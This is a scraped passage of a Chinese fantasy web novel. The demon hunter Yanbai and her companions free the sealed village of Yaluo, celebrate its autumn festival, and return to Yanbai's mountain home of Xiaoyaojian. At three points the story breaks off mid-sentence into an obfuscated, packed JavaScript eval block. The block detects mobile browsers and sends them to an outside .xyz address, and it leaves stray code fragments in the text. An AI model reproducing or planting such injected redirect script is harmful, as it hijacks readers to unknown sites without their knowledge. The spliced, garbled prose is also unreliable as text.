明天又到日子了,寄鸣珠内的殃煞之气只能维持最后一次,棘手的是没有七叶藤,那么多煞妖究竟如何动手? “柳殷照,我需要你帮我做件事!光靠我一人解决不了问题,明日我会去找大妖,让他送你出去。” 酽白还没说完,柳殷照先不干了,“不行,酽白,我不会自己走的,你要我做什么都可以。我留下肯定能帮上你的忙,我走了,你一个人怎么应付煞妖跟半见。” “我没让你逃,你出去找庭芜绿,让她带上七叶藤来帮我,这里和外界隔开了,没办法用传信符,所以我们两个必须有人出去。” 柳殷照明白,自己不如酽白法力深厚,留下必然压不住局面,倒不如听她安排,早点出去找到庭芜绿,再回来救酽白。 他最终点头应下,又数次跟酽白保证会早点回来,让酽白放心。 今夜,很多人都没睡踏实,危险一点一点逼近,崖罗村可能真的逃不脱了。 覃毓几人早早就等候在外,这次的假尸不比之前多,兴许只能再拖延一两日。 酽白带着柳殷照去找半见,半见却有所忧虑。 “打不开了,之前找你们进来那一次是我最后打开它,现在我的妖力不足,没办法操控结界,若要出去,可能得击碎整个空间,只是那样的话煞妖也会趁机逃出。” 酽白没料到是这个结果,现在唯一的办法就是出去,如果没有七叶藤,是杀不死那些煞妖的。 几人陷入沉默时,未料不该出现在此的煞妖却出现了,一小群向着他们席卷而来,看来村里多半也乱套了。 酽白先上前挡住,除不了犰兽制成的布,很难杀死煞妖,妖群数量变多,酽白也难免招架不住,小部分朝着柳殷照和半见而去。 柳殷照巧妙避开后,上前去帮酽白。半见就不太好了,他现在的妖力比前几日又弱了些,正当他要被煞妖拆骨时,突感身上有了力量,迅速击退周身煞妖。 他身上的妖力很熟悉,环顾四周,发现水幕结界荧光阵阵,族里的长辈说,这结界会在危险时刻保护他们,原来是真的。 结界上有很强的妖力,它感知到青鹘族群有危险,所以将妖力给了半见。 酽白在短暂困住煞妖后过来:“怎么样,没事吧?” “没事,水幕上祖先的力量到了我的体内,但我身上的咒术是个无底洞,会不断吞噬我的所有妖力,先打开裂口送他出去。” 柳殷照适时发问:“等等,那样的话可以将村民一起带出去吗?” “来不及的,就算我用结界的妖力,也不能让裂口长时间开启,等他们赶过来裂口早就关闭了,况且缙云不会让我们如愿的,她就是要杀掉所有人。” “好了,柳殷照你先出去,按原计划来。”酽白打断他们,现在可不是浪费时间讨论的时候。 被困住的煞妖挣脱束缚,再次不知疲倦的向前来,酽白打斗时双手难敌数妖,没注意到身后飘来的妖。 煞妖的黑气并没有划伤她的后背,柳殷照一直注意着这边,他飞身掠过妖群落在酽白身边,揽住她带开,极为惊险的躲过一劫。 半见已将空间撕裂一个小口,酽白见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546918|186744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 状用力将柳殷照推向出口。 砾妖消失不见,裂口随之闭合。 随后半见操控妖力控制煞妖,驱使它们离开。 “看来结界给你的妖力不少,你竟然还能控制他们?” “暂时有用罢了,撑不了多久的。” 这一回着实给酽白累得不轻,她弯腰撑住膝盖,喘着粗气问。 “半见,你现在,后悔了吗?” “悔了……最爱她的时候,说什么我都听,现在看清了,才发现我做的事有多可笑。捉妖师,我后悔了!” 青鹘惨然落泪,结界也似有感应一般,表面泛起不间断的水纹。 当年半见在人界遇到缙云,把她带回这里养了几年,她明明知道半见的心意,却还是选择一走了之。 再见面时缙云虽变了样子,但他还是闻出了独属于她的气息,他知道那就是缙云,他喜欢的人,脸变了也还是她。 缙云几句话就重新哄住半见,傻傻的青鹘妖甘愿舍下族群陪她陷在崖罗村。 他知道缙云是回来报仇的,她说出了自己的身世,彼时半见对她的爱意正浓,很是心疼她,才如她所愿为她造出煞妖,意图毁灭崖罗村。 自他的族群走后,这处栖息地一直空着,半见用妖力将村子整个挪走,搁置在这空间里,然后细细折磨这些人,逼迫他们自相杀害,一点一点磨灭他们的希望。 半见想过制止这场杀戮,但缙云随意说出口的假话总能骗到他。 直到半见的妖力开始消散,缙云也发现了,半见不能为她办事,选择疏远了他,甚至连假话都不再讲。 “其实不怪我的族群弃我而去,我知道自己蠢笨不堪,花了好多年才想明白这糟心事。” “现在悔悟为时过晚,只求捉妖师能出手相助。一旦煞妖强大后,撕裂这个空间流窜外界,那才是悔之不及。我的族群已经避世生活了,万不能因我犯下的错再受指责。” 酽白没有给任何答复,若几日后柳殷照他们没来,那么谁都挽救不了这个局面,半见的错不是几句无关轻重的愧疚之语就能挽回的。 酽白歇好,正准备去找覃毓,就见他急忙忙冲了过来,“道长,实在不好,煞妖全部聚集在村外,瞧那样子像是要进村。” “怎么会,那些殃煞之气少说也得撑一两日,怎么会提前爆发。” “我们照例把假尸放在坟地外围,躲在一旁看见煞妖离开了才回去。谁知道后来没多久,有人说村外面全是妖怪,我过去一看,就见黑压压一片全飘在那儿,道长,现在怎么办?柳殷照兄弟呢,他找到帮手了吗?” “他今日才走,回不来,你赶紧把村民唤到一处,还有别忘了漆姑,她那儿有几个孩子,你告诉大家别动他们。”覃毓称是,跑着前去办事了。 酽白来到村口一看,成片的妖将周围光线都压了下去,全是黑色影子在面前晃动,这实在是她无法招架得住的,正发愁时,半见让出了他祖传的风水宝地。 “去我那儿,结界虽少了的妖力,但还是可以暂时抵挡它们。” 不多时,煞妖果然开始了肆意猎杀,村里人都急急涌向结界,漆姑拖着几个孩子落在了后面。 眼看煞妖就要围上来,酽白只能握剑挡在漆姑身后,半见帮着接过孩子往结界里去。 漆姑双脚虚软,有点撑不住,上了年纪的身体行动渐渐滞缓,光靠酽白一个人还是力不从心。煞妖绕过她奔向漆姑,眼看就要被抓住。 危急之时,覃毓冲了出来,落身在漆姑旁侧,将她向前一推,“小梳,走!” 漆姑顿时落泪,难掩泣涕,她想说话,想叫阿毓,但发不出任何声音。只能靠双手死死拉住覃毓,最后还是徒劳,覃毓被煞妖撕扯丧命,残肢落了满地。 漆姑连跑也使不上力了,最后还是酽白提着她进入结界。 从没料到这辈子还能听见有人叫她小梳,那个她原本的名字,徐梳。 不错,她不是漆姑,是徐邑的妹妹,徐梳。 22. 崖罗盛会 几年以来,众人终于走出了崖罗村以外的地方,不真实的感觉席卷全身,有人呆愣着难以置信,有人笑闹着喜不胜收。 外面的世界正值秋季,微风带着凉意却并不刺骨。金黄色的世界让人眼前明亮,悬着的心终于踏实落了地,他们回到了真正的家。 这厢村民们还沉浸在重见天日的喜悦中,那边常鹊羽就带着官员过来了。 他相信凭酽白等人的能耐,肯定能成功救出村民,于是早早去官府说明了情况,好在当今父母官是个勤政为民的,一听这事也不管玄乎不玄乎,亲自带人过来等着。 酽白跟前来领人的官员交涉好,拖着疲惫的身躯独自离开,其他的交给他们去配合就好。 柳殷照双眼捕捉到她离去的背影,跟着捉妖师这些日子,他才知道酽白是何等辛苦。她是个不会叫苦叫累的,总是自己咬牙坚持下来,再这样下去,他都怕她一口好牙全给咬碎了。 数日之后官府有了决断,参与过杀人者皆受刑罚,无罪者发了银钱自行安置,去留随意。 至此,关于崖罗的恐怖传说销声匿迹。无人注意到,在某个偏僻角落里,一个新村出现,尽管只有几户人家,却也有着美好光景,一片祥和之兆。 四季轮转前进,时间没有为苦难让步,那些过往被铭记在心,所有人都要带着痛苦走向新生。 酽白跟柳殷照回到客栈,正准备睡了个昏天黑地,这大半个月天天早起晚睡的,别说人就连妖都受不住了。 “客官留步,又是好几日不见了,不知这是从哪儿回来?另外,你们没在的时候,我也安排了人打扫房间,先前客官留下的银钱,怕是有些不够了。” 柳殷照懒得听他废话,反正就是钱嘛,给他就是,爽快的从身上掏出银子扔给他,头也不回的走了,真是好一幅富人做派。 旭日再升,又是一日,深秋的太阳不怎么晒人,大家都愿意外出游玩,好生热闹的场景。 辰时已过,酽白跟柳殷照还没下楼,常鹊羽坐在楼下喝泡好的热茶,时不时往楼上瞟一眼。 “他俩从昨天下午睡到现在还不醒啊?这样下去不会出啥事儿吧,咱要不去看看?” 庭芜绿没应声,兀自喝茶吃糕饼,能有什么事,不要小瞧了酽白,能成为声名大噪的捉妖师断不会只有这点实力。 在无声担忧中,楼上酽白将将睡够醒来,一时忘记自己身处客栈,猛然坐起身翻下床穿衣,才想起崖罗村的事解决好了,然后又裹着衣服躺在床上发呆。 直到敲门声响起,隔壁房的柳殷照来叫她,才恍觉自己已经错过两顿饭了,肚子都饿扁下去,难怪浑身没力,连坐起来都觉得累。 到了楼下,一眼看到悠闲吃茶的常、庭两人。扫了眼桌上,还是那些没味儿的食物,柳殷照似没味觉,仍旧大口吃着,酽白却怎么都咽不下去,匆匆用罢就把碗挪走了。 常鹊羽很是无聊,注意力在大厅中转了几遍,然后被庭芜绿吸引。她正在擦拭佩剑,只是野青的出场方式惊住了在场的唯一普通人。常鹊羽看着野青从她手腕里凭空变出来,又凭空消失不见。惊了老天爷,人的手腕里还可以藏那么大一柄剑吗? 其实,野青没有实体,不过是一道剑意凝在手腕的符印上,剑意可以化作任何形态,也就是说,只要庭芜绿想,野青可以是一个碗,一根筷子或者一把小青菜。若用这种奇怪的武器,只怕要被对手笑话死,她可不想成为人尽皆知的笑话,才化了剑作为武器。 其中原理弄清,常鹊羽很快失了兴趣,又瞧别的去了。果然,人只会对没见过的东西好奇,看完就没觉得有意思了。 “诶,今天外面怎么挺多人,吵吵闹闹的。”常鹊羽透过大厅的门帘子往外看。 店老板正巧提着几大包东西进来,“哎哟,忘了几位客官是外地人,过几天是我们崖罗每年一度的盛会——拾秋宴,人多些才不显得冷清啊,若是有空,客官们也可去玩玩儿,热闹的很。” 崖罗自古民生凋敝,前些年才慢慢好起来,拾秋宴的创办是为了庆祝秋日丰收,以盛宴来庆祝百姓们的丰厚收获。这几日里,大家相互交换今年收获的新粮食,拿出各类美食款待四邻,各自呼朋引伴,欢聚一堂。 过了拾秋宴就是冬,等这场热闹散尽,剩下的就是严寒凄冷,崖罗的人们将此宴看得比新年更为重要。 掌柜的说,今晚城西看台会放烟花,以贺盛宴,几人约定好晚上在城西碰头,一起去凑凑热闹看烟花。 之后四人分开了,常鹊羽拉着庭芜绿外出,全然不顾她拒绝的眼神。酽白回到屋中,剩下柳殷照还坐在大厅内,刚吃多了还在发饭晕。 酽白在房里无所事事,早知道就一起去逛集市了,百无聊赖之际,房门被敲响,是柳殷照来找她了。 他手里握着个盒子,进门后递给了酽白,是送给她的? “你对付煞妖那么辛苦,打来打去的多累人啊,这个是补身体的丹药,好像是养精固灵的,你们捉妖师肯定需要。” 酽白没有拒绝,身体不好就得补啊。打开盒子,里面是一颗深红色丹药,气味嗅着像是幽阳丹,作用嘛的确有他说的那些,但……好像更适合男子用。 他进屋后在桌边坐下,正倒水喝,酽白拿着盒子走到他面前。 “还你。” 他不知道捉妖师为什么不要,是嫌太少了?可药又不当零嘴,哪能吃那么多。 “怎么不要啊?” 酽白见他没伸手拿,自己打开了盖子,取出那颗丹。在柳殷照再一次张口时,抬手扔进他嘴里,含糊说话间,表面光滑的药丸顺着喉管滚进了肚里。 “怎么让我给吃了,哎呀,那可是给你的。”误食了补药的柳殷照急的噌一下起身,还想把丹药吐出来。 酽白不以为意,在他对面施施然落座,“它用在你身上比用在我身上效果好。” 轻易被说服,他又一次告诉自己,酽白真是最最最好的人,他以后一定要给她找更多更好的丹药。 “酽白,我们也出去玩吧。” 柳殷照趴在窗边,被外面的热闹情形吸引,心里有些蠢蠢欲动。他早就想出去了,街道上到处飘着喷香的味道,这谁还能拒绝,只是怕酽白一个人孤单,才留在客栈里陪她。 待在房里无事可做,酽白也对外边的美食有点心动,好几天没吃过饱饭,现在还是饥肠辘辘的。于是,很爽快答应了他,高高兴兴的出门觅食去了。 一路逛下来走走停停,二人瞧见了好些新奇玩意儿,这都还不是重点,重要的是食物,吃不完的美味食物。 家家户户都在自己的门口边支了张桌子,上面的框篮放着自己做的吃食,周围邻居可以相互交换,路人也可前去品尝。 酽白咂舌,天堂,这完全是天堂,吃东西不用花钱,真希望每天都是拾秋宴。 二人挨家挨户的吃,松软的粟米蒸糕、裹满豆沙的麦子杂粮卷、炸得金黄的红薯面丸子、还有蓬松暄软的炸油饼……只恨自己只有一张嘴,不能一口气吃更多。 街道还没走完,他俩先吃饱了,也不好连吃带拿,索性去别的街市逛了逛。城里不似前段时间的冷清萧瑟,小商贩们都担着挑子卖货,柳殷照一路买个不停,直到两手都快提下不了。 又要再花钱时,酽白见他面露难色,“你怎么了?” “酽白……” “我没钱了,你先借我点呗,我以后一定还你。” 原来是没钱了啊,看他之前给客栈老板一大袋钱的样子,真以为他财大气粗,谁知这么快就钱袋空空了。 最后,酽白替他付了钱,又咬牙让他挑了些别的,当做他帮自己捉妖的回礼吧。 以前在枰溪镇,他很少去人类的集市玩,主要还是枰溪镇的捉妖师太多,他又是独自一妖,不小心谨慎点,只怕小命不保。 现在不一样,这里唯二的捉妖师都是他朋友,根本用不着担心,而且还有礼物拿,这可是他第一次收到礼物,心下甜蜜难以描述,满是愉悦激动。 走走停停的,很快到了约定时间,四人都从不同方向往城西赶去。 崖罗地处偏避,烟花表演一年只有这一次,且还只在城西处,是以城中所有人都向着那边涌去,其中还有附近乡村的人,街道上更加人满为患。 行人实在太多,酽白他们没法并肩走,只好一前一后挫开身,柳殷照走在酽白身后,视线紧跟着她。 几个半大少年突然窜进来,在人群里嬉闹推搡,柳殷照跟酽白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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走上空旷亭台,刚刚站定,前方烟火绽开,城西人群的欢笑声响彻云霄,大家相互道贺,共庆佳节。 此处位置幽静,少有人经过。亭台之下,一对年轻男女挽手离开,轻快的笑声传至柳殷照耳中,他偷瞥了酽白一眼,捉妖师不眨眼的看着烟花,双眼被烟花映衬的更加明亮,各色的光打在她脸上,看得人心动不已。 柳殷照眼神转回远处,黑暗的半空绽放出艳丽的花,他们静静的站在那,看烟花升空,听烟花爆开,谁也不曾有别的动作。 烟花一共开了两轮,前贺今年如愿后盼来年美满。 之后,天空不再有色彩,黑夜无光,四下安静,柳殷照不知为何慢慢僵住了身子。酽白平静开口说回去,但心也有些莫名的颤动,这是她第二次看烟花,漂亮极了。 就这样脑袋放空走回客栈,常鹊羽他们等在门口,似有迫不及待之意。 “你俩终于回来了,说好一起去看烟花的,结果你们人呢,我跟小芜一晚上都没见到你俩。”一边抱怨着,一边拿出在小贩那里买到的小烟花棒分给两人。 街道上不止他们,大家都没回家,三三两两围做一团,到处是烟花棒的噼啪声。 酽白摊开手心使出灵火点燃,然后其余三人动作出奇的一致,都将自己的烟花棒伸了过来,借着酽白手心的灵火,一起点燃一起绽放开。 几人很是高兴,酽白从没有过这样的欢喜节日,眼角微微湿润,再次点燃一根烟花,照亮着几人。她想,这辈子都难以忘怀了,这是生命中很不一样的时刻。 烟花燃尽,硝烟味弥漫崖罗城,他们还不想回去,有些起风了,庭芜绿突然挽住酽白,难得她没拒绝,二人靠在一起。 常鹊羽带着小柳不知跑哪儿去了,一百多岁的妖跟二十几岁的人也能玩到一处,也是让人费解啊。 接下来的几天,拾秋宴没有结束,大家还是赖在城里吃吃喝喝,四处游玩,真是好不畅快的日子。 天下无不散的宴席,长街上的人慢慢变少,抓不住的热闹悄然流逝,今年的宴会就这样过完了。 几人各自思虑前程去处,却不知,新的故事已经开篇,正等着他们去历经奇幻冒险。 23. 小尧涧 自崖罗盛会之后,酽白想要摆脱捉妖师身份的念头更甚。她想要过普通人的日子,抬头看天低头锄地,然后漫无目的的磋磨完这一生。 但她没有家,要落脚也只能回小尧涧去。这些年,她走南闯北,逐渐积攒下不少钱财,回到小尧涧后买几块地,再租一部分给农户,她当个闲散地主就好了。 任谁也想不到,被誉为天才苗子的捉妖师本该前途光明,心境却是此般不上进,这种情况是什么时候开始的呢,大概是从严道长死后吧。 养老生活般的计划落定,酽白正打算跟其他几人道明,刚巧柳殷照来叫她了。 拾秋宴已经结束,酽白再度过会劳肠寡肚的日子,继续被迫吃着索然无味的食物,然后因吃不饱饭日日无精打采。 很快常鹊羽发现了她的小毛病,有时会出钱借用客栈的厨房做些和口味的菜,有时会带些考好的野兔小鱼回来,就这样挽救虚弱又挑食的酽白。 这不,柳殷照说又烤了鱼,叫她一起过去。 城外的小溪旁,一男一女蹲在火堆边,手中双双握着木棍,上面架着几条肥美的大鱼。鱼皮表面开了花刀,在烈火炙烤下渗出油水,滋滋作响。 常鹊羽不愧是个好厨子,即便远行身上也带着辣口的调料,将它均匀撒在鱼的两面,真真是香飘十里。 酽白偷偷咽了咽口水,找了块离火堆近的石头坐下,不眨眼的盯着鱼,像是家养的馋嘴猫,惹得庭芜绿一阵好笑。 “酽白,你之后什么打算?”她被黑烟熏花了脸,这柴有点湿,烧起来不得劲儿,一直冒浓烟,她只好左右偏头躲避,嘴里还不忘了问话。 盯鱼的“猫”少女头也不抬,只动了动嘴皮子,说出回小尧涧。 不多时,喷香的鱼终于烤好,常鹊羽率先递给酽白,她的眼神已经在放光了,实在怕她饿坏了。转身接过庭芜绿的活儿,让她解放双手,不得不说,常鹊羽这大哥当得的确称职。 太阳光辉洒在水面上,泛起圈圈金色涟漪,犹如天上落下的发光星星。三个青年男女闲散聊天,另一个在狼吞虎咽,各自脸上皆是惬意的笑容,想来这是他们生命中难得的宁静时刻。 自酽白说出要回小尧涧后,没有计划的另三人也提出同往,看他们已经在讨论上了行程安排,酽白劝说的心思只得作罢,索性带他们一起去吧,等住上几日再赶人走。 到家的前一晚,许是近乡情怯,酽白竟做了个关于小时候的梦。 梦境中,是她早已记不清的农家土院。 “我儿啊,爹娘没法子了,你同道长去,好歹还能活。” 梦中面容老态的农妇双眼噙着泪,将轻声啜泣的小姑娘推给那道长,而后躲进院儿里再不出来。 小姑娘无声的啜泣,水灵的双眼一眨不眨的望着破旧木门。透过门上的缝隙,看见了妇人背靠在门板上的身影。 小姑娘倔强的坚持,她只要一直不走,阿娘就会心软留下她。 静默的拉扯持续了近一个时辰,抵着门板的身影落荒而逃,小院里还是不见有人出来,小姑娘终于死心,任由着道长牵着自己离开。 眼泪糊住双目看不清了,伸手一抹,视线再次清晰,刚刚还是村间小路的地方变成了美丽的庭院。 院里还是那个道长,手里捏着一张黄符,正笑着看自己。 黄符轻轻扬起,落下来却成了铺天的白色冥钱,道长安静的躺着,小姑娘走上前轻推他,想叫他起来,猛地被他脸上的可怖之相吓退。 酽白陡然转醒,缓过神看向床铺外,没了烛光的陋室一片幽黑,那些被掩藏的往事全都散落在黑暗中,一个不注意就会被它重新缠上。 床榻上,青丝散开如薄雾般柔软,她右手轻轻捏着额角,脸上的疲态未曾退却。 师父啊,死了还不放心她么,非得用这种方式来相见。 因着天未大亮,她也没起身,躺在床上放空思绪,这一来,顺着刚才的梦境想起了自己的幼时。 她本来是普通农人的女儿,有一年家乡大旱,四处闹饥荒,家中五个孩子四个大人,实在是活不下去了。 恰逢村里来了个闲游的道长,对着酽白瞧了又瞧,说她是个捉妖的好苗子。 这话一出,酽白就被爹娘抛弃了,不,也不算抛弃。 当时大旱,爹娘养不活自己,跪着求道长收下她,当个端茶倒水的小童使,只求给她一口饭吃。 家中五子,大哥和二姐已经能帮着干农活了,下面的弟弟妹妹还小,只有自己,处在这不太妙的年纪。 现在想来即便她没有天赋,爹娘不求道长,也会求别人带走她,只为了让她不被饿死。 酽白不怪爹娘,只是很难过,怎么偏偏是自己。 离开家时太小,好些事都不记得了,唯独这分别的场面至今没忘,无数次做梦都是此景,爹娘哭着叫她离开。 师父带着酽白回到小尧涧,在这里住了十几年,后来关于家的记忆全部都是此处。 小尧涧很大,有好几座山相连,山中四季青青,幽静安宁,小溪小河流水不断,大山深处还有很多小生灵,真真是人间仙境。 师父从没说过他的过往,酽白只知道他姓严,世人都叫他严道长或尧涧仙人。哦,妖怪不一样,妖怪们叫他臭道士。 在小尧涧住下后,师父每天带着她修习法术,其余时候放任她不管,任她独自去山里疯跑。 刚开始,山里的精怪总是捉弄小酽白,每每要把她弄哭才满意。 惹得她一路掉着泪珠儿跑回家,让师父去把妖怪都收掉,偏偏师父一点不管,只笑着给她擦去眼尾坠着的泪。 等到酽白学会术法能反击了,情况才有所转变,小妖们慢慢从欺负人的变成了被欺负的。 她逐渐变得开心,你来我往间,也与小妖们玩在一处去了。她知道,小妖们有好有坏,是可以跟好妖一起玩的。 当然,她也见过很多的恶妖,非常讨厌他们,谁叫他 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“七婶,我是酽白啊,回来了。” 对面的婶子看着年轻姑娘,在她说完这话后恍然醒悟。 “哎呀!小严丫头,你……你可算回来了。一走三年没个音信的,我们都以为你在外面出啥事了。” 婶子还要长篇大论,又看到旁边三个人,一时停住了话头。 “小严啊,这些都是你朋友啊?” “嗯,七婶,先把我家的钥匙给我吧,明日再过来找你叙旧。”酽白抬头示意天色已晚,想让这热情的婶子先放他们走。 一通你来我往的推脱,最后的结果就是七婶叫上她的小儿子,带着好些干粮,一起送酽白回家。 本以为三年无人居住的房屋定是脏污满地,无处落脚才对。但,眼前这个不染纤尘,整洁的像是常有人在的屋子是怎么回事,这不是她家吧?抬眼瞟了门头,没走错啊。 “看啥呢,自己家还不认得了?”七婶见她犹豫,明白过来可疑之处。当年,酽白走前将钥匙交给她,只让她帮忙照看着。自己与严道长是几十年的老邻居,酽白信得过她。 七婶不知道酽白什么时候会回来,不想让房子就这样荒败下去,隔段时间就会过来打扫下,偶有损坏处,还会叫他大儿子来修补,这样一来才勉强留住这座好屋舍。 酽白心头触动,感激之言一时无从说起,现在也没什么拿得出手的东西,只好先牢记心间,待过几日再回馈他们。 这个原本疲惫不堪的夜晚,总算有了到了尽头,不等酽白招呼,柳殷照他们已经主动吃上,还顺带挑好了自己的房间。酽白无奈,有谁问过她这个主人的意见吗?没人在乎,她再一次妥协,由他们去吧。 山里降温快,夜里还是有很重的凉意,等三人各自睡下后,酽白挑着灯火独自去往后山的白玉浮水台。 25. 小尧涧日常 小尧涧位置偏北,冬季来得更快些。清晨的霜风隐有渐起之势,乡间小路上逐渐弥漫水雾,天明一日晚过一日。 酽白起的晚了些,昨日回来后一觉睡到此刻,说不出的快意席卷全身,雷打不动的在床上愣了会儿神,却突然想起家里还有三个人。 飞快起身来到外屋,很好,根本不用她操心,客人们会自力更生。 “酽白,你醒了,快来吃饭,今早是香香的小肉包。” 柳殷照难抵美食的诱惑,嘴里的还没吃完,又伸手去够盘子里的。真不理解,一只妖为什么这么喜欢人类食物,还非常不挑嘴,什么都吃得下。 等酽白拾掇好坐上桌,留给她的是三个卖相不太好的扁扁肉包,算了,自己都没出力,还有什么资格嫌弃。 这奇妙的味道还是像往日一般好,尽数囫囵吞下,美好的一天从清晨开始。 等朝食过后,庭芜绿说要去祭拜严道长,这是她此来的主要目标。严道长与衡進宗的镜陆道长是旧友,她替师叔前来看看故人。 最后,大家索性一起进山了。 没有太阳照耀的山林漆黑一片,路面湿湿滑滑,众人拉着树枝艰难前行。 等到了地方,酽白没去石亭,昨晚已经看过老头,今天就不去了,见面太频繁也不好,老头到时候烦她了。 她转身去找树神,柳殷照也颠颠儿的跟上她脚步。这山里到处是小妖灵,他身为其中一类,感受到天然的亲近,迫不及待的到处乱窜。 “酽白,这里也太好玩了,我喜欢这里。”愉悦的声音忽远忽近,隔一会就找不到他身影了。 酽白当然不会管他,寻着路进入大山深处。 树神活了很久,平日他的根茎会化身成一颗小小树,在这座大山的各个角落溜达,但树神永远也出不了小尧涧。 植物化妖跟其他动物化妖不一样,他们依靠根茎生活,化身是不能离本体太远的,植物妖们会永远被禁锢在某块土地上。 树神的本体身躯非常庞大,数十人合抱才能圈住树干,这种庞然大物也只有深山处才能容下。 “树爷爷,该起了。” 酽白趴在树干上,双手合拢围在嘴边,对着一个圆圆的树洞出声。 少顷,大树摇摆不定,顶端的枝桠乱颤,就像人类伸展腰背,沉闷的哈欠声响起。 “哈,小孩儿,你吵到我了。” 被叫住的人根本不在意,不加理会的围着大树转圈,还没出现裂痕跟虫洞。 “身体不错,继续保持啊。” 树神乐呵呵的答好,继而垂下枝条,给酽白搭出一架藤椅。小时候,酽白来山里也是这样,累了困了往藤椅上面一趟,睡到严道长来接她。 “上次见你是什么时候来着,你这个小孩儿啊,老想着一门心思往外跑,不来看看我们这些老家伙。” “对了,旁边山头来了伙儿顽皮妖,经常欺负我们山头的妖,你得空去替我治治他们,让他们吃点教训。” 得,老树还是老树,一回来就指使她干活儿,唉,谁让自己是这山头的呢,酽白老老实实听从安排,还不忘带上干苦力的柳殷照。 “小石妖,走了。” 柳殷照刚刚认识了好多新朋友,这座大山太神奇了,到处都是小生命,还得到了很多礼物。但酽白一叫他,便抬腿向她而去,头也不回的走了。 事情很好解决,都是一群半大小妖,不过是个别妖力强了点,酽白不费吹灰之力就将他们全都逮住,丢柳殷照让他挨个教训,一直打到小妖们开口求饶,呼天唤地的发誓再也不欺负其他妖了,才挥挥手让他们离开。 倒是还有那硬骨头的,像疯狗一样,逮谁咬谁,一边躲避挨打一边不死心的叫骂。开始说柳殷照是走狗,一只妖居然听人类的话,被打得痛了,又把矛头转向酽白,说她是以强欺弱的臭女人,结果在砾妖手下差点一命呜呼。 柳殷照认真了,他不允许有人说酽白不好,她是世界上最好的捉妖师! 这场玩闹般的争斗随着小妖四散逃尽而结束,酽白破天荒的递给柳殷照一方白帕,他的脸侧汗水染着灰土,在脸上留下脏污。看在他刚刚劳累出力的份上,回报是应该的。 回去的时候,碰见常鹊羽找来,两篓子大鱼,肯定又摸到小溪边钓鱼去了,后面还跟着一群叽叽喳喳的小萝卜头,看来是都折服在他高超的钓鱼术下。 常鹊羽提议回去,却只有庭芜绿一人附议,于是,选择了最公平的办法,大家自由活动。 酽白悠哉回到树神身边,脸上神情轻松。树神问她往后还走吗,沉默了片刻,说不走了。 这下轮到他吃惊了,这可不像酽白,从前她恨不得不着家,一年四季不分时日的在外,小尧涧周围的妖一听酽白的大名就能吓得落荒而逃。 “不走,你在这里干嘛,小尧涧可没妖给你捉。” “你看那边的稻田,我打算等开春了买些地,然后与山外的村民一样,早出晚归过一辈子。” “而且,我不走还不好么,我在这里就没有别的妖敢来欺负你们了,我会罩着小尧涧的。” 其实,以树神之力根本不怕那些无厘头的妖痞子,只是他上了年岁,身体不支持他再大动干戈,否则真有可能要了他老命。 小尧涧原本是生灵荟萃的地方,可这些年来,成形的妖慢慢离开,留下的多是些刚开灵智的小精灵们,这才遭了欺负。 “哼,我们才不用你,我自己的山头自己能管,你还是去干你的事吧,我这儿可不要你。” 树神多少知道些缘故,当年严道长的事让酽白埋下了心结,不曾想竟在如今开始反噬了。 “酽白啊,你是有本事的,年纪轻轻就只守着一亩三分地过活吗?你师父当年是怎么教导你的?” 树神从有意识开始,就一直待在小尧涧,接触最多的人除了她师父,还有那个叫珠世的女子,当然,其中过往酽白并不知晓。 “我才不是,树爷爷,我笨着呢,脑子不开窍的。” 这话惹得大树张口大笑,树叶在一耸一耸的动静中落了满地,酽白都怕他岔过气儿。 “你若是笨蛋,那就不会成为让妖怪谈之色变的捉妖师了。不开窍又有什么,你师父不也把你教成如今这模样了,天赋也没什么用,你还记得越方吗?他修炼的天赋高,到如今不努力,还不是个没用的小妖。” 此时,名叫越方的鹿妖正在赶回小尧涧,连打了几个喷嚏,怪了,是有人在想他还是在骂他。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546923|186744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年轻人,想那么多做什么,管他什么天赋还是勤奋,最后能让你变厉害不就行了。老树我啊几千年了,都没走出过这座山,还巴不得去外面闯一闯呢,你个不知足的。罢了,说不听你们,随你们去吧。” 树神今日醒来的时间比往日都长,不等酽白再叫他就昏沉睡死过去,这颗大树的一生,近八成的时间都在黑暗中长眠,他的世界里人来人往,却没有一个陪他长久。 酽白想起炆提的请求,将那根属于他的翠羽从绣袋里掏出,然后简便搭了个鸟窝,让羽毛住了进去,也算带他回到小尧涧了。 转身向山外走去,林子里静谧的诡异,酽白注意到了那不同寻常,还是默不作声的往前,等对方先出手,看看情况。 “唰——”矮木丛中冲出一头壮实的鹿,举着鹿角朝酽白袭来。一个飞身向前,酽白抓住头顶的树干,翻越到上面。 然后抬手摘下一片树叶,以叶片边缘做利器,朝着鹿的屁股弹出,接连几片坚硬树叶飞去,鹿的皮肉绽开,留下一道道血痕。 他吃痛的倒在地上,幻作人形,双手捂住受伤处。柳殷照早已在暗中观察到,有人欺负酽白,他第一个不同意,等鹿倒在地上,一声大喝扑了过来,骑在鹿的身上,左右挥拳。 “看我不揍死你。” 